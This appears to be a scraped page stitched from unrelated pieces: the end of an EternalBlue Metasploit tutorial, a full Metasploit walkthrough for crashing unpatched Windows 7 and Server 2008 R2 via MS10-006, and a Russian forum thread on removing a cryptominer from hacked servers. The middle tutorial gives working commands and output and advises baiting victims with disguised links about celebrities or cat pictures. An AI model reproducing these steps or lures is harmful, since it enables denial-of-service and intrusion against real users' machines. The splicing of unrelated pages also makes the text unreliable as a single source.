We can see the payload successfully execute, and we end up with a Meterpreter session.

Step 4: Verify the Target Is Compromised

Again, we can verify we’ve compromised the system with commands like sysinfo.

sysinfo
Computer        : DC01
OS              : Windows 2016 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : DLAB
Logged On Users : 4
Meterpreter     : x64/windows

And getuid.

getuid
Server username: NT AUTHORITYSYSTEM

Prevention & Current Status

Despite all the damage EternalBlue has caused, there is one reliable way to prevent these types of exploits: patch your systems! At this point, nearly two years since these vulnerabilities were disclosed, there is really no excuse to have unpatched operating systems.

EternalBlue continues to be a problem, though, and even though the consequences are dire, unfortunately, some organizations will still be running unpatched systems. That, combined with pirated versions of Windows, makes EternalBlue a significant threat to this day.

Cryptojacking, which uses a victim’s computer to secretly mine cryptocurrency, is another threat vector that uses EternalBlue to leverage attacks. WannaMine was one of these outbreaks that hijacked computers around the world in 2018.

Wrapping Up

Today, we learned about EternalBlue and how to exploit it using Metasploit. We also learned about an exploit similar to EB that is more reliable and works on more systems. In the next tutorial, we will dig a little deeper and learn how to exploit EternalBlue manually, which is much more satisfying in the end.

Want to start making money as a white hat hacker? Jump-start your hacking career with our 2020 Premium Ethical Hacking Certification Training Bundle from the new Null Byte Shop and get over 60 hours of training from cybersecurity professionals.

Buy Now (90% off) >

Other worthwhile deals to check out:

  • 97% off The Ultimate 2021 White Hat Hacker Certification Bundle
  • 99% off The 2021 All-in-One Data Scientist Mega Bundle
  • 98% off The 2021 Premium Learn To Code Certification Bundle
  • 62% off MindMaster Mind Mapping Software: Perpetual License
Cover image by Fancycrave/Pexels; Screenshots by drd_/Null Byte

All the hacks using Metasploits talks about Windows XP, Windows 2003 server and older version of Windows which are being phased out slowly. More and more people are using Windows 7 as their Operating System and Windows 2008 R2 server for corporate purposes. The purpose of this guide is to show how you can use a simple smb infinite loop vulnerability to crash and do (DOS) Denial-of-service attack on Windows 2008 R2 server and Windows 7 using Metasploits. I’ve tested this with a Windows 7 fresh install (no patch or service packs) and Windows 2008 R2 (no patch and service packs) and in both cases they stopped responding completely. You don’t even get to click anything. The only way I could get back into Windows is by doing a hard reset (press Power Key and reboot).

Denial of Service attack on Windows 2008 R2 server and Windows 7 using Metasploits on Kali Linux

Now the main problem is most people plug in their Windows 7 into Internet and update with patches and service packs. But many many organizations just lock down their server which got no Internet connectivity and or stop it from updating as some updates requires a reboot. In production environment, rebooting a critical server might cause service interruption. But the way I understand it, if you don’t have enough time to patch your server and desktops, you are leaving them exposed with vulnerability and leaving them wide open, in other words you’re inviting remote hacks into your vulnerable system.

[toc]

(DOS) Denial-of-service attack on Windows 2008 R2 server and Windows 7 with Metasploits

In this guide, I will demonstrate how to exploit Windows 7 and perform (DOS) Denial-of-service attack on Windows 2008 R2 server who didn’t apply MS10-006 (Vulnerabilities in SMB Client Could Allow Remote Code Execution (978251) patch. According to Microsoft this affects the following unpatched systems:

  • Microsoft Windows 2000,
  • Windows XP,
  • Windows Server 2003,
  • Windows 7, and
  • Windows Server 2008 R2,

It is rated Important for

  • Windows Vista and
  • Windows Server 2008

WOHAA, that’s like everything except Windows NT, ME, 95 and 3.1!!! So if your target hasn’t patched this long lasting issue maybe they should get a taste of it.

This vulnerability could allow remote code execution if an attacker sent a specially crafted SMB response to a client-initiated SMB request. To exploit these vulnerabilities, an attacker must convince the user to initiate an SMB connection to a malicious SMB server. More technical jargon’s here: MS10-006

In case your target is Windows 2003, you should check (DOS) Denial-of-service attack on Windows 2003 with Metasploits guide. If you have issues starting or want to start Metasploits at system start-up (often a good idea when you’re using it heavily) you might also try to read other guides like start Metasploits framework.

If you’re not familiar with Metasploits you should read the first section from (DOS) Denial-of-service attack on Windows 2003 with Metasploits guide. This is a particularly good one as it explains what Metasploits is and how you can use it efficiently.

Now let’s start with the guide.

Start msfconsole

If you don’t have PostgreSQL and Metasploits running already you need to start it. I suggest you just enable postgresql and Metasploits framework at start-up so that you don’t have to type same commands over and over again. As you can see I am running Kali Linux (v1.0.6) and following is how you run Metasploits from command line.

root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:~# service metasploits start
[ ok ] Starting Metasploits rpc server: prosvc.
[ ok ] Starting Metasploits web server: thin.
[ ok ] Starting Metasploits worker: worker.
root@kali:~# msfconsole
[*] The initial module cache will be built in the background, this can take 2-5 minutes...

  +-------------------------------------------------------+
  |  Metasploits by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=           | |  EXPLOIT               |
  |            //           | |____________________    |
  |           //            | |==[msf >]============   |
  |          //             | |______________________  |
  |         // RECON        | (@)(@)(@)(@)(@)(@)(@)/   |
  |        //               |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        '///'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__          |
  | |    PAYLOAD     |""___, |     /    (_||_           |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+

Tired of typing 'set RHOSTS'? Click & pwn with Metasploits Pro
-- type 'go_pro' to launch it now.

       =[ Metasploits v4.7.0-2013082802 [core:4.7 api:1.0]
+ -- --=[ 1161 exploits - 641 auxiliary - 180 post
+ -- --=[ 310 payloads - 30 encoders - 8 nops

msf > 
msf >

Now I have my msfconsole up and running. Let’s actually load the module that we are going to use in this tutorial.

Load smb loop module

Type in the following command in red to load the module.

msf > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop 
msf auxiliary(ms10_006_negotiate_response_loop) >

As you can see from the screen-shot below, you can type in use auxiliary/dos/windows/smb/ and press TAB key to show different modules. We are choosing the one which we will demonstrate here.

Metasploits-Crash-Windows-7-or-Windows-2008-R2-using-smb-client-infinite-loop-1-blackMORE-Ops

If you type in the following info command, it will show you more details on the module. Try typing in info followed by one module at a time to get info on each available hacks. Soon you’ll get the idea on which one does what and affects which system. Following is an example command using info.

msf > info auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop

Once you’re ready type in the following to use the hack:

msf > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop

Settings options for module

Now that we are fairly confident on what this module does (by using info) we are going to check what options it’s got.

Type in the following command to find details.

msf auxiliary(ms10_006_negotiate_response_loop) > show options

As we can see, we only need to set SVRHOST, which is our own IP Address (my attacking machine’s IP).

My test machines IP was 10.10.10.12, so now I’ll set that.

msf auxiliary(ms10_006_negotiate_response_loop) > set SRVHOST 10.10.10.12
SRVHOST => 10.10.10.12

As you can see from the screenshot, I’ve used show options twice, before and after using set SRVHOST command. Output shows I managed to set SRVHOST properly.

Metasploits-Crash-Windows-7-or-Windows-2008-R2-using-smb-client-infinite-loop-2-blackMORE-Ops

Run Metasploits exploit

Now that everything looks good, we run our Metasploits exploit..

msf auxiliary(ms10_006_negotiate_response_loop) > exploit 

[*] Starting the malicious SMB service...
[*] To trigger, the vulnerable client should try to access: 10.10.10.12SharedAnything
[*] Server started.
.
.
.
<after my test Windows 7 and Windows 2008 R2 both crashed>
.
clear^C[-] Auxiliary interrupted by the console user
[*] Server stopped.
[*] Auxiliary module execution completed
msf auxiliary(ms10_006_negotiate_response_loop) > exit
root@kali:~# clear

Metasploits-Crash-Windows-7-or-Windows-2008-R2-using-smb-client-infinite-loop-3-blackMORE-Ops

Once you’ve run the exploit, it will generate a shared folder link that you need send to your victim. As my own IP was 10.10.10.12, it created 10.10.10.12SharedAnything shared folder.

Hardest part

Now we have exploit running, and we have a victim. But how to send the link so that we know for sure the victim will click on the link? Are you going to send him a boring and obvious link like 10.10.10.12SharedAnything this? Maybe not! So we need to generate a nice looking link with attractive text on it.

How about this?

Latest news on Kim Kardashian Crash-Windows-2008-R2-server-and-Windows-7-with-Metasploits-5-blackMORE-Opsselfie …wooohooo

So I embedded the link on text in the example here. That might work, if your target is into Kim Kardashian.

Or maybe he’s into something different. Then just rewrite the line with something like this:

haha, this cat is epic!!! Crash-Windows-2008-R2-server-and-Windows-7-with-metasploit-4-blackMORE-Ops

See that I embedded the link into the picture and made the picture really really small. That means the victim MUST click on it to enlarge it, and once they’ve done that, you’ve already DOS’d them.

Fairly easy to do (DOS) Denial-of-service attack on Windows 2008 R2 and Windows 7 using Metasploits in Kali Linux like this and at the same time it’s a bit scary that how easy it was to do it. Hope you found it useful and informative. Patch your server, desktop and stay away from these issues.

Related Links:

  • CVE-2010-0017
  • OSVDB-62244
  • MSB-MS10-006
  • URL: http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html

Thanks for reading. Please share.

  • #1

Добрый день. Помогите, пожалуйста. Взломали сервер и не хватает знаний чтобы выкинуть злоумышленника. Мониторинг заметил увеличение загрузки процессора. Я нашел на сервере майнер и удалил его (удалил задание из планировщика задач, остановил и отключил службу, удалил файлы вируса из «C:WindowsFonts»). Скачал cureit и выполнил проверку. cureit нашел несколько вирусов и удалил их. На следующий день майнер опять был активен. Я поставил eset nod 32 file server security 6.0. После этого заражение как будто приостановилось, но злоумышленник смог открыть текстовый файл на моем рабочем столе и написать мне сообщение. После этого в течении дня сначала пропала папка «eset» из «program files», а через некоторое время остановилась служба eset (и не дает себя запускать). майнер еще не инсталлировали, но процесс мне не нравится. Также проверял сервер MalWareBytes. Ничего не найдено. Идеи кончились, очень нужна помощь.

  • CollectionLog-2018.01.02-13.13.zip

    113.3 KB
    · Просмотры: 4

akok


  • #2

Логи готовили из терминальной сессии?

!!!Убедитесь, что есть резервные копии важных данных и настроек!!!
Внимание, выполнение скрипта приведет к перезагрузке сервера, если перезагрузку нужно отложить, то необходимо убрать из скрипта (RebootWindows(false);)
Закройте все программы, временно выгрузите антивирус, файрволл и прочее защитное ПО.

Выполните скрипт в АВЗ (Файл — Выполнить скрипт):

  begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
if not IsWOW64
then
  begin
  SearchRootkit(true, true);
  SetAVZGuardStatus(True);
  end;
SetServiceStart('NGEN', 4);
QuarantineFile('C:WindowsFontssvchost.exe', '');
DeleteFile('C:WindowsFontssvchost.exe', '32');
DeleteService('NGEN');
BC_Activate;
  ExecuteSysClean;
BC_ImportALL;
RebootWindows(false);
end.

После выполнения скрипта компьютер перезагрузится.

Пожалуйста переделайте логи под локальным админом.

А теперь по поводу взлома:
1. Проверьте пользователей с административными правами на проблемном сервере, возможно появился лишний администратор.
2. Убедитесь, что ваша обычная учетная запись ограничена в правах до уровня пользователя (для администрирования лучше иметь отдельную учетную запись).
3. Смените пароли администраторов, в том числе локального админаадминов
4. И самое важное, проверьте логи сервера и определите откуда и как злоумышленник получил доступ.

Последнее редактирование: 2 Янв 2018

  • #3

Защиту отключил, скрипт выполнил. Лог собрал непосредственно из консоли.
Насчет взлома:
1. Сразу посмотрел. Не появился.
2. Это да. Каюсь, сижу всегда из под админа
3. Сменил. Не помогло. После смены паролей опять заразили.
4. Логи смотрел, ничего такого там не нашел. В логах «Планировщика задач» была фраза типа «Системный пользователь зарегистрировал службу».

  • CollectionLog-2018.01.02-14.46.zip

    112.7 KB
    · Просмотры: 7

akok


  • #4

Последнее редактирование: 2 Янв 2018

  • #5

Спасибо. Пойду аудит настраивать.
Еще подскажите, пожалуйста. По такому пути «C:WindowsinfASP010011015» нашел кучу файлов как будто от фаерфокса. Положили вчера вечером во время атаки.

akok


  • #6

Да, есть запчасти от ff. Удаляйте, заодно и удалим задачу из планировщика
Выполните скрипт в АВЗ (Файл — Выполнить скрипт):

 begin
ExecuteFile('schtasks.exe', '/delete /TN "FirefoxUpdate" /F', 0, 15000, true);
end.

akok


  • #7

И наверно сделаем контрольную проверку

  1. Скачайте Universal Virus Sniffer (uVS)
  2. Извлеките uVS из архива или из zip-папки. Откройте папку с UVS и запустите файл start.exe. В открывшимся окне выберите пункт «Запустить под текущим пользователем».
  3. Выберите меню «Файл» => «Сохранить полный образ автозапуска». Программа предложит вам указать место сохранения лога в формате «имя_компьютера_дата_сканирования». Лог необходимо сохранить на рабочем столе.

    !!!Внимание. Если у вас установлены архиваторы WinRAR или 7-Zip, то uVS в автоматическом режиме упакует лог в архив, иначе это будет необходимо сделать вам вручную.

  4. Дождитесь окончания работы программы и прикрепите лог к посту в теме.

    !!! Обратите внимание, что утилиты необходимо запускать от имени Администратора. По умолчанию в Windows XP так и есть. В Windows Vista и Windows 7 администратор понижен в правах по умолчанию, поэтому, не забудьте нажать правой кнопкой на программу, выбрать Запуск от имени Администратора, при необходимости укажите пароль администратора и нажмите «Да».

Подробнее читайте в руководстве Как подготовить лог UVS.

  • #8

Я прошу прощения, контрольную проверку сейчас сделаю. Я сейчас смотрел журнал Планировщика по службе «Firefox Update» и там встретил такую запись «Пользователь «S-1-5-18» обновил задачу планировщика заданий «MicrosoftWindowsMozilaFirefoxUpdate» Что это за пользователь такой? И как он может так вот запросто обновлять и делать новые задачи в Планировщике?

akok


  • #10

Прикладываю лог со UVS.

  • SERVER1_2018-01-02_17-20-32.7z

    478.3 KB
    · Просмотры: 3

Кирилл


  • #11

Учетная запись службы, используемая операционной системой.
Видимо права учетной записи пользователя позволяют это.

  • #12

И еще один момент. У меня пропала из виду папка «ESET» из «Program Files». Но она там есть. Ее сниффер видел. Как будто прав на нее нет. Я уж и Тотал командер из под системы запускал, папки все равно нет.

akok


  • #14

Это я сам подменил. Он мне все мои учетки отключил. Надо было как то включать. Я подменил Utilman на cmd

  • #15

И самое обидное, что таких серверов у меня около десятка (. И на всех одно и тоже. Вот сейчас на втором сервере папка ESET пропала и служба nod32 остановилась.

  • #16

sfc /scannow — это я делал

akok


  • #17

Тогда зайдем с более широкого круга. Сервера имеют доступ в интернет?

  • #18

Конечно. Основные сервисы — терминальный сервер, веб-сервер.

Кирилл


  • #19

sfc /scannow — это я делал

Все нормально по итогу? Нарушений целостности нет?

  • #20

Нарушения целостности были только тогда, когда я подменял Utilman на cmd. На тех серверах, где я этого не делал, нарушений целостности небыло

Понравилась статья? Поделить с друзьями:
  • Microsoft windows server 2008 r2 enterprise serial
  • Microsoft windows server 2008 r2 enterprise key
  • Microsoft windows server 2008 r2 datacenter
  • Microsoft windows server 2008 r2 64bit
  • Microsoft windows server 2008 r2 64 bit